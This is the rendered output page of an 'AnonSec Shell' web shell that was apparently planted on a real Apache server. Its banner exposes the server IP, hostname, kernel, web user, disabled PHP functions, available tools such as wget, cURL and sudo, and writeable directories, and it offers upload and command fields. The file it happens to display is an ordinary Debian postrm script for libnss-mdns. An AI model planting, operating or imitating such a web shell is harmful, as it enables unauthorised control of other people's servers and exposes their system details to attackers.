AnonSec Shell
Server IP : 185.86.78.101  /  Your IP : 216.73.216.124
Web Server : Apache
System : Linux 675867-vds-valikoshka1996.gmhost.pp.ua 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/lib/dpkg/info/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /var/lib/dpkg/info/libnss-mdns:amd64.postrm
#!/bin/sh
set -e


log() {
    echo "libnss-mdns.postrm: $*"
}

remove_mdns() {
    log "Checking NSS setup..."
    # abort if /etc/nsswitch.conf does not exist
    if ! [ -e /etc/nsswitch.conf ]; then
        log "Could not find /etc/nsswitch.conf."
        return
    fi
    log "Removing mdns from NSS setup"
    perl -i -pe '
        my @remove=(
            "mdns4_minimal [NOTFOUND=return]",
            "mdns4_minimal",
            "mdns4",
            "mdns6_minimal [NOTFOUND=return]",
            "mdns6_minimal",
            "mdns6",
            "mdns_minimal [NOTFOUND=return]",
            "mdns_minimal",
            "mdns",
        );
        sub remove {
            my $s=shift;
            foreach my $bit (@remove) {
                $s=~s/\s+\Q$bit\E//g;
            }
            return $s;
        }
        s/^(hosts:)(.*)/$1.remove($2)/e;
    ' /etc/nsswitch.conf
}

action="$1"

if [ "$action" = purge ]; then
    # as recommended by
    # <https://lists.debian.org/debian-devel/2013/04/msg00656.html>
    instances="$(dpkg-query -f '${db:Status-Abbrev} ${binary:Package}\n' -W libnss-mdns | grep -v '^.n' | wc -l)"
    if [ "$instances" = 1 ]; then
      remove_mdns
    else
      log "Not removing mdns from nsswitch.conf, $(( $instances - 1 )) architecture(s) still installed"
    fi
fi

Anon7 - 2022
AnonSec Team